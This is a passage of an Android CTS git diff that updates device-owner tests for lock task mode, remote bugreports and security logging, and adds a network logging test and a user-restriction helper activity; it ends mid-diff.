+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
                 RECEIVING_ACTIVITY_PACKAGE_NAME });
         startLockTask(UTILITY_ACTIVITY);
         waitForResume();
@@ -231,10 +254,7 @@
         launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         mContext.startActivity(launchIntent);
         synchronized (mReceivingActivityCreatedLock) {
-            try {
-                mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-            } catch (InterruptedException e) {
-            }
+            mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
             assertTrue(mReceivingActivityWasCreated);
         }
         stopAndFinish(UTILITY_ACTIVITY);
@@ -242,18 +262,16 @@
 
     // This launches a non-whitelisted activity that is not part of the current task.
     // This should be blocked.
-    public void testStartActivity_outsideTaskNonWhitelisted() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME });
+    @Test
+    public void testStartActivity_outsideTaskNonWhitelisted() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
         startLockTask(UTILITY_ACTIVITY);
         waitForResume();
 
         Intent launchIntent = getIntentReceivingActivityIntent(Intent.FLAG_ACTIVITY_NEW_TASK);
         mContext.startActivity(launchIntent);
         synchronized (mActivityResumedLock) {
-            try {
-                mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-            } catch (InterruptedException e) {
-            }
+            mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
             assertFalse(mReceivingActivityWasCreated);
         }
         stopAndFinish(UTILITY_ACTIVITY);
@@ -261,8 +279,9 @@
 
     // Test the lockTaskMode flag for an activity declaring if_whitelisted.
     // Whitelist the activity and verify that lock task mode is started.
-    public void testManifestArgument_whitelisted() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME });
+    @Test
+    public void testManifestArgument_whitelisted() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
         startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
         waitForResume();
 
@@ -275,7 +294,8 @@
 
     // Test the lockTaskMode flag for an activity declaring if_whitelisted.
     // Don't whitelist the activity and verify that lock task mode is not started.
-    public void testManifestArgument_nonWhitelisted() {
+    @Test
+    public void testManifestArgument_nonWhitelisted() throws Exception {
         startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
         waitForResume();
 
@@ -288,8 +308,9 @@
 
     // Test the lockTaskMode flag for an activity declaring if_whitelisted.
     // An activity locked via manifest argument cannot finish without calling stopLockTask.
-    public void testManifestArgument_cannotFinish() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME });
+    @Test
+    public void testManifestArgument_cannotFinish() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
         startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
         waitForResume();
 
@@ -303,18 +324,16 @@
 
     // Test the lockTaskMode flag for an activity declaring if_whitelisted.
     // Verifies that updating the whitelisting during lock task mode finishes the locked task.
-    public void testManifestArgument_updateWhitelisting() {
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[] { PACKAGE_NAME });
+    @Test
+    public void testManifestArgument_updateWhitelisting() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
         startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
         waitForResume();
 
-        mDevicePolicyManager.setLockTaskPackages(getWho(), new String[0]);
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
 
         synchronized (mActivityRunningLock) {
-            try {
-                mActivityRunningLock.wait(UPDATE_LOCK_TASK_TIMEOUT_MILLIS);
-            } catch (InterruptedException e) {
-            }
+            mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
         }
 
         assertLockTaskModeInactive();
@@ -334,7 +353,11 @@
     /**
      * Checks that lock task mode is not active and fails the test if it is.
      */
-    private void assertLockTaskModeInactive() {
+    private void assertLockTaskModeInactive() throws InterruptedException {
+        // Retry 10 times with 200 ms interval.
+        for (int i = 0; i < 10 && mActivityManager.isInLockTaskMode(); i++) {
+            Thread.sleep(200);
+        }
         assertFalse(mActivityManager.isInLockTaskMode());
         assertEquals(ActivityManager.LOCK_TASK_MODE_NONE, mActivityManager.getLockTaskModeState());
     }
@@ -347,7 +370,7 @@
      * If activityManager is not null then verify that the ActivityManager
      * is no longer in lock task mode.
      */
-    private void stopAndFinish(String className) {
+    private void stopAndFinish(String className) throws InterruptedException {
         stopLockTask(className);
         finishAndWait(className);
         assertLockTaskModeInactive();
@@ -358,14 +381,11 @@
      * Call finish on the LockTaskUtilityActivity and wait for
      * onDestroy to be called.
      */
-    private void finishAndWait(String className) {
+    private void finishAndWait(String className) throws InterruptedException {
         synchronized (mActivityRunningLock) {
             finish(className);
             if (mIsActivityRunning) {
-                try {
-                    mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
-                } catch (InterruptedException e) {
-                }
+                mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
             }
         }
     }
@@ -373,14 +393,11 @@
     /**
      * Wait for onResume to be called on the LockTaskUtilityActivity.
      */
-    private void waitForResume() {
+    private void waitForResume() throws InterruptedException {
         // It may take a moment for the resume to come in.
         synchronized (mActivityResumedLock) {
             if (!mIsActivityResumed) {
-                try {
-                    mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-                } catch (InterruptedException e) {
-                }
+                mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
             }
         }
     }
@@ -388,7 +405,7 @@
     /**
      * Calls startLockTask on the LockTaskUtilityActivity
      */
-    private void startLockTask(String className) {
+    private void startLockTask(String className) throws InterruptedException {
         Intent intent = getLockTaskUtility(className);
         intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
         startAndWait(intent);
@@ -397,7 +414,7 @@
     /**
      * Calls stopLockTask on the LockTaskUtilityActivity
      */
-    private void stopLockTask(String className) {
+    private void stopLockTask(String className) throws InterruptedException {
         Intent intent = getLockTaskUtility(className);
         intent.putExtra(LockTaskUtilityActivity.STOP_LOCK_TASK, true);
         startAndWait(intent);
@@ -406,7 +423,7 @@
     /**
      * Calls finish on the LockTaskUtilityActivity
      */
-    private void finish(String className) {
+    private void finish(String className) throws InterruptedException {
         Intent intent = getLockTaskUtility(className);
         intent.putExtra(LockTaskUtilityActivity.FINISH, true);
         startAndWait(intent);
@@ -417,15 +434,12 @@
      * to receive the broadcast back confirming it has finished processing
      * the command.
      */
-    private void startAndWait(Intent intent) {
+    private void startAndWait(Intent intent) throws InterruptedException {
         mIntentHandled = false;
         synchronized (this) {
             mContext.startActivity(intent);
             // Give 20 secs to finish.
-            try {
-                wait(ACTIVITY_RUNNING_TIMEOUT_MILLIS);
-            } catch (InterruptedException e) {
-            }
+            wait(ACTIVITY_RUNNING_TIMEOUT_MILLIS);
             assertTrue(mIntentHandled);
         }
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java
index 2901f5b..aeb8abd 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java
@@ -18,8 +18,10 @@
 
 import android.app.Activity;
 import android.content.Intent;
+import android.util.Log;
 
 public class LockTaskUtilityActivity extends Activity {
+    private static final String TAG = "LockTaskUtilityActivity";
 
     public static final String START_LOCK_TASK = "startLockTask";
     public static final String STOP_LOCK_TASK = "stopLockTask";
@@ -41,25 +43,25 @@
     @Override
     protected void onCreate(android.os.Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        sendBroadcast(new Intent(CREATE_ACTION));
+        sendLocalBroadcast(new Intent(CREATE_ACTION));
         handleIntent(getIntent());
     }
 
     @Override
     protected void onDestroy() {
-        sendBroadcast(new Intent(DESTROY_ACTION));
+        sendLocalBroadcast(new Intent(DESTROY_ACTION));
         super.onDestroy();
     }
 
     @Override
     protected void onResume() {
-        sendBroadcast(new Intent(RESUME_ACTION));
+        sendLocalBroadcast(new Intent(RESUME_ACTION));
         super.onResume();
     }
 
     @Override
     protected void onPause() {
-        sendBroadcast(new Intent(PAUSE_ACTION));
+        sendLocalBroadcast(new Intent(PAUSE_ACTION));
         super.onPause();
     }
 
@@ -77,7 +79,13 @@
         if (intent.getBooleanExtra(FINISH, false)) {
             finish();
         }
-        sendBroadcast(new Intent(INTENT_ACTION));
+        sendLocalBroadcast(new Intent(INTENT_ACTION));
     }
 
+    private void sendLocalBroadcast(Intent intent) {
+        Log.d(TAG, "sendLocalBroadcast: " + intent.getAction());
+        intent.setPackage(this.getPackageName());
+        intent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        sendBroadcast(intent);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
new file mode 100644
index 0000000..dcf0ce7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import android.app.admin.ConnectEvent;
+import android.app.admin.DnsEvent;
+import android.app.admin.NetworkEvent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.URL;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class NetworkLoggingTest extends BaseDeviceOwnerTest {
+
+    private static final String TAG = "NetworkLoggingTest";
+    private static final int FAKE_BATCH_TOKEN = -666; // real batch tokens are always non-negative
+    private static final int FULL_LOG_BATCH_SIZE = 1200;
+    private static final String CTS_APP_PACKAGE_NAME = "com.android.cts.deviceowner";
+    private static final int MAX_IP_ADDRESSES_LOGGED = 10;
+
+    private static final String[] NOT_LOGGED_URLS_LIST = {
+            "wikipedia.org",
+            "google.pl"
+    };
+
+    private static final int MAX_VISITING_WEBPAGES_ITERATIONS = 100; // >1500 events
+    // note: make sure URL_LIST has at least 10 urls in it to generate enough network traffic
+    private static final String[] LOGGED_URLS_LIST = {
+            "example.com",
+            "example.net",
+            "example.org",
+            "example.edu",
+            "ipv6.google.com",
+            "google.co.jp",
+            "google.fr",
+            "google.com.br",
+            "google.com.tr",
+            "google.co.uk",
+            "google.de"
+    };
+
+    private final BroadcastReceiver mNetworkLogsReceiver = new BroadcastReceiver() {
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (BaseDeviceOwnerTest.ACTION_NETWORK_LOGS_AVAILABLE.equals(intent.getAction())) {
+                mGenerateNetworkTraffic = false;
+                mCurrentBatchToken = intent.getLongExtra(
+                        BaseDeviceOwnerTest.EXTRA_NETWORK_LOGS_BATCH_TOKEN, FAKE_BATCH_TOKEN);
+                if (mCountDownLatch != null) {
+                    mCountDownLatch.countDown();
+                }
+            }
+        }
+    };
+
+    private CountDownLatch mCountDownLatch;
+    private long mCurrentBatchToken;
+    private volatile boolean mGenerateNetworkTraffic;
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), false);
+        assertFalse(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+
+        super.tearDown();
+    }
+
+    /**
+     * Test: retrieving network logs can only be done if there's one user on the device or all
+     * secondary users / profiles are affiliated.
+     */
+    public void testRetrievingNetworkLogsThrowsSecurityException() {
+        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
+        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        try {
+            mDevicePolicyManager.retrieveNetworkLogs(getWho(), FAKE_BATCH_TOKEN);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Test: when a wrong batch token id (not a token of the current batch) is provided, null should
+     * be returned.
+     */
+    public void testProvidingWrongBatchTokenReturnsNull() {
+        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
+        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        assertNull(mDevicePolicyManager.retrieveNetworkLogs(getWho(), FAKE_BATCH_TOKEN));
+    }
+
+    /**
+     * Test: test that the actual logging happens when the network logging is enabled and doesn't
+     * happen before it's enabled; for this test to work we need to generate enough internet
+     * traffic, so that the batch of logs is created
+     */
+    public void testNetworkLoggingAndRetrieval() throws Exception {
+        mCountDownLatch = new CountDownLatch(1);
+        mCurrentBatchToken = FAKE_BATCH_TOKEN;
+        mGenerateNetworkTraffic = true;
+        // register a receiver that listens for DeviceAdminReceiver#onNetworkLogsAvailable()
+        final IntentFilter filterNetworkLogsAvailable = new IntentFilter(
+                BaseDeviceOwnerTest.ACTION_NETWORK_LOGS_AVAILABLE);
+        LocalBroadcastManager.getInstance(mContext).registerReceiver(mNetworkLogsReceiver,
+                filterNetworkLogsAvailable);
+
+        // visit websites that shouldn't be logged as network logging isn't enabled yet
+        for (final String url : NOT_LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+
+        // enable network logging and start the logging scenario
+        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
+        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+
+        // TODO: here test that facts about logging are shown in the UI
+
+        // visit websites in a loop to generate enough network traffic
+        int iterationsDone = 0;
+        while (mGenerateNetworkTraffic && iterationsDone < MAX_VISITING_WEBPAGES_ITERATIONS) {
+            for (final String url : LOGGED_URLS_LIST) {
+                connectToWebsite(url);
+            }
+            iterationsDone++;
+        }
+
+        // if DeviceAdminReceiver#onNetworkLogsAvailable() hasn't been triggered yet, wait for up to
+        // 3 minutes just in case
+        mCountDownLatch.await(3, TimeUnit.MINUTES);
+        LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mNetworkLogsReceiver);
+        if (mGenerateNetworkTraffic) {
+            fail("Carried out 100 iterations and waited for 3 minutes, but still didn't get"
+                    + " DeviceAdminReceiver#onNetworkLogsAvailable() callback");
+        }
+
+        // retrieve and verify network logs
+        final List<NetworkEvent> networkEvents = mDevicePolicyManager.retrieveNetworkLogs(getWho(),
+                mCurrentBatchToken);
+        if (networkEvents == null) {
+            fail("Failed to retrieve batch of network logs with batch token " + mCurrentBatchToken);
+            return;
+        }
+        verifyNetworkLogs(networkEvents, iterationsDone);
+    }
+
+    private void verifyNetworkLogs(List<NetworkEvent> networkEvents, int iterationsDone) {
+        assertTrue(networkEvents.size() == FULL_LOG_BATCH_SIZE);
+        int ctsPackageNameCounter = 0;
+        // allow a small down margin for verification, to avoid flakyness
+        final int iterationsDoneWithMargin = iterationsDone - 5;
+        final int[] visitedFrequencies = new int[LOGGED_URLS_LIST.length];
+
+        for (int i = 0; i < networkEvents.size(); i++) {
+            final NetworkEvent currentEvent = networkEvents.get(i);
+            // verify that the events are in chronological order
+            if (i > 0) {
+                assertTrue(currentEvent.getTimestamp() >= networkEvents.get(i - 1).getTimestamp());
+            }
+            // count how many events come from the CTS app
+            if (CTS_APP_PACKAGE_NAME.equals(currentEvent.getPackageName())) {
+                ctsPackageNameCounter++;
+                if (currentEvent instanceof DnsEvent) {
+                    final DnsEvent dnsEvent = (DnsEvent) currentEvent;
+                    // verify that we didn't log a hostname lookup when network logging was disabled
+                    if (dnsEvent.getHostname().contains(NOT_LOGGED_URLS_LIST[0])
+                            || dnsEvent.getHostname().contains(NOT_LOGGED_URLS_LIST[1])) {
+                        fail("A hostname that was looked-up when network logging was disabled"
+                                + " was logged.");
+                    }
+                    // count the frequencies of LOGGED_URLS_LIST's hostnames that were looked up
+                    for (int j = 0; j < LOGGED_URLS_LIST.length; j++) {
+                        if (dnsEvent.getHostname().contains(LOGGED_URLS_LIST[j])) {
+                            visitedFrequencies[j]++;
+                            break;
+                        }
+                    }
+                    // verify that as many IP addresses were logged as were reported (max 10)
+                    final List<InetAddress> ips = dnsEvent.getInetAddresses();
+                    assertTrue(ips.size() <= MAX_IP_ADDRESSES_LOGGED);
+                    final int expectedAddressCount = Math.min(MAX_IP_ADDRESSES_LOGGED,
+                            dnsEvent.getTotalResolvedAddressCount());
+                    assertEquals(expectedAddressCount, ips.size());
+                    // verify the IP addresses are valid IPv4 or IPv6 addresses
+                    for (final InetAddress ipAddress : ips) {
+                        assertTrue(isIpv4OrIpv6Address(ipAddress));
+                    }
+                } else if (currentEvent instanceof ConnectEvent) {
+                    final ConnectEvent connectEvent = (ConnectEvent) currentEvent;
+                    // verify the IP address is a valid IPv4 or IPv6 address
+                    assertTrue(isIpv4OrIpv6Address(connectEvent.getInetAddress()));
+                    // verify that the port is a valid port
+                    assertTrue(connectEvent.getPort() >= 0 && connectEvent.getPort() <= 65535);
+                } else {
+                    fail("An unknown NetworkEvent type logged: "
+                            + currentEvent.getClass().getName());
+                }
+            }
+        }
+
+        // verify that each hostname from LOGGED_URLS_LIST was looked-up enough times
+        for (int i = 0; i < 10; i++) {
+            // to avoid flakyness account for DNS caching and connection errors
+            assertTrue(visitedFrequencies[i] >= (iterationsDoneWithMargin / 2));
+        }
+        // verify that sufficient iterations done by the CTS app were logged
+        assertTrue(ctsPackageNameCounter >= LOGGED_URLS_LIST.length * iterationsDoneWithMargin);
+    }
+
+    private void connectToWebsite(String urlString) {
+        HttpURLConnection urlConnection = null;
+        try {
+            final URL url = new URL("http://" + urlString);
+            urlConnection = (HttpURLConnection) url.openConnection();
+            urlConnection.setConnectTimeout(2000);
+            urlConnection.setReadTimeout(2000);
+            urlConnection.getResponseCode();
+        } catch (IOException e) {
+            Log.w(TAG, "Failed to connect to " + urlString, e);
+        } finally {
+            if (urlConnection != null) {
+                urlConnection.disconnect();
+            }
+        }
+    }
+
+    private boolean isIpv4OrIpv6Address(InetAddress addr) {
+        return ((addr instanceof Inet4Address) || (addr instanceof Inet6Address));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
index c70ed16..1751244 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
@@ -39,8 +39,8 @@
         assertFalse(mDevicePolicyManager.isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
     }
 
-    public void testIsProvisioningAllowedFalseForManagedProfileAction() {
-        assertFalse(mDevicePolicyManager
+    public void testIsProvisioningAllowedTrueForManagedProfileAction() {
+        assertTrue(mDevicePolicyManager
                 .isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE));
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/RemoteBugreportTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/RemoteBugreportTest.java
index 22dc38a..e2f46d9 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/RemoteBugreportTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/RemoteBugreportTest.java
@@ -24,43 +24,18 @@
 
 /**
  * Test class for remote bugreports.
- *
- * This class also handles making sure that the test is the device owner
- * and that it has an active admin registered, so that all tests may
- * assume these are done. The admin component can be accessed through
- * {@link BaseDeviceOwnerTest#getWho()}.
  */
-public class RemoteBugreportTest extends InstrumentationTestCase {
-
-    private static final String MESSAGE_ONLY_ONE_MANAGED_USER_ALLOWED =
-            "There should only be one user, managed by Device Owner";
-
-
-    private DevicePolicyManager mDevicePolicyManager;
-    private Context mContext;
-    private ComponentName mComponentName;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        Instrumentation instrumentation = getInstrumentation();
-        mContext = instrumentation.getTargetContext();
-        mDevicePolicyManager = (DevicePolicyManager)
-                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
-        BaseDeviceOwnerTest.assertDeviceOwner(mDevicePolicyManager);
-        mComponentName = BaseDeviceOwnerTest.getWho();
-    }
+public class RemoteBugreportTest extends BaseDeviceOwnerTest {
 
     /**
-     * Test: remote bugreport flow can only be started if there's one user on the device.
+     * Test: remote bugreport flow can only be started if there is only one user on the device or
+     * all existing secondary users/profiles are affiliated.
      */
-    public void testRequestBugreportNotStartedIfMoreThanOneUserPresent() {
-        boolean startedSuccessfully = false;
+    public void testRequestBugreportThrowsSecurityException() {
         try {
-            startedSuccessfully = mDevicePolicyManager.requestBugreport(mComponentName);
+            mDevicePolicyManager.requestBugreport(getWho());
             fail("did not throw expected SecurityException");
-        } catch (SecurityException e) {
-            assertEquals(e.getMessage(), MESSAGE_ONLY_ONE_MANAGED_USER_ALLOWED);
+        } catch (SecurityException expected) {
         }
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
index 24c5421..201f382 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
@@ -25,42 +25,27 @@
 
 public class SecurityLoggingTest extends BaseDeviceOwnerTest {
 
-    private static final String MESSAGE_ONLY_ONE_MANAGED_USER_ALLOWED =
-            "There should only be one user, managed by Device Owner";
-
     /**
-     * Test: setting security logging can only be done if there's one user on the device.
+     * Test: retrieving security logs can only be done if there's one user on the device or all
+     * secondary users / profiles are affiliated.
      */
-    public void testSetSecurityLoggingEnabledNotPossibleIfMoreThanOneUserPresent() {
-        try {
-            mDevicePolicyManager.setSecurityLoggingEnabled(getWho(), true);
-            fail("did not throw expected SecurityException");
-        } catch (SecurityException e) {
-            assertEquals(e.getMessage(), MESSAGE_ONLY_ONE_MANAGED_USER_ALLOWED);
-        }
-    }
-
-    /**
-     * Test: retrieving security logs can only be done if there's one user on the device.
-     */
-    public void testRetrievingSecurityLogsNotPossibleIfMoreThanOneUserPresent() {
+    public void testRetrievingSecurityLogsThrowsSecurityException() {
         try {
             mDevicePolicyManager.retrieveSecurityLogs(getWho());
             fail("did not throw expected SecurityException");
-        } catch (SecurityException e) {
-            assertEquals(e.getMessage(), MESSAGE_ONLY_ONE_MANAGED_USER_ALLOWED);
+        } catch (SecurityException expected) {
         }
     }
 
     /**
-     * Test: retrieving previous security logs can only be done if there's one user on the device.
+     * Test: retrieving previous security logs can only be done if there's one user on the device or
+     * all secondary users / profiles are affiliated.
      */
-    public void testRetrievingPreviousSecurityLogsNotPossibleIfMoreThanOneUserPresent() {
+    public void testRetrievingPreviousSecurityLogsThrowsSecurityException() {
         try {
             mDevicePolicyManager.retrievePreRebootSecurityLogs(getWho());
             fail("did not throw expected SecurityException");
-        } catch (SecurityException e) {
-            assertEquals(e.getMessage(), MESSAGE_ONLY_ONE_MANAGED_USER_ALLOWED);
+        } catch (SecurityException expected) {
         }
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetPolicyActivity.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetPolicyActivity.java
new file mode 100644
index 0000000..028bf2e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetPolicyActivity.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Process;
+import android.util.Log;
+
+/**
+ * Simple activity that adds or clears a user restriction depending on the value of the extras.
+ */
+public class SetPolicyActivity extends Activity {
+
+    private static final String TAG = SetPolicyActivity.class.getName();
+
+    private static final String EXTRA_RESTRICTION_KEY = "extra-restriction-key";
+    private static final String EXTRA_COMMAND = "extra-command";
+
+    private static final String ADD_RESTRICTION_COMMAND = "add-restriction";
+    private static final String CLEAR_RESTRICTION_COMMAND = "clear-restriction";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        handleIntent(getIntent());
+    }
+
+    // Overriding this method in case another intent is sent to this activity before finish()
+    @Override
+    public void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        handleIntent(intent);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        // Calling finish() here because doing it in onCreate(), onStart() or onResume() makes
+        // "adb shell am start" timeout if using the -W option.
+        finish();
+    }
+
+    private void handleIntent(Intent intent) {
+        DevicePolicyManager dpm = (DevicePolicyManager)
+                getSystemService(Context.DEVICE_POLICY_SERVICE);
+        String command = intent.getStringExtra(EXTRA_COMMAND);
+        Log.i(TAG, "Command: \"" + command);
+        ComponentName admin = BaseDeviceOwnerTest.getWho();
+        if (ADD_RESTRICTION_COMMAND.equals(command)) {
+            String restrictionKey = intent.getStringExtra(EXTRA_RESTRICTION_KEY);
+            dpm.addUserRestriction(admin, restrictionKey);
+            Log.i(TAG, "Added user restriction " + restrictionKey
+                    + " for user " + Process.myUserHandle());
+        } else if (CLEAR_RESTRICTION_COMMAND.equals(command)) {
+            String restrictionKey = intent.getStringExtra(EXTRA_RESTRICTION_KEY);
+            dpm.clearUserRestriction(admin, restrictionKey);
+            Log.i(TAG, "Cleared user restriction " + restrictionKey
+                    + " for user " + Process.myUserHandle());
+        } else {
+            Log.e(TAG, "Invalid command: " + command);
+        }
+    }
+
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
index ac96e0b..58e7ef6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java
@@ -15,6 +15,8 @@
  */
 package com.android.cts.deviceowner;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 import android.app.admin.DevicePolicyManager;
 import android.app.admin.SystemUpdatePolicy;
 import android.content.BroadcastReceiver;
@@ -46,7 +48,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        mHasFeature = Build.VERSION.SDK_INT > Build.VERSION_CODES.LOLLIPOP_MR1;
+        mHasFeature = ApiLevelUtil.isAfter(Build.VERSION_CODES.LOLLIPOP_MR1);
 
         if (mHasFeature) {
             IntentFilter filter = new IntentFilter();
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index bb64231..964c389 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -26,10 +26,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-v4 \
-    ctstestrunner \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
index 1512bb2..da0e16c 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
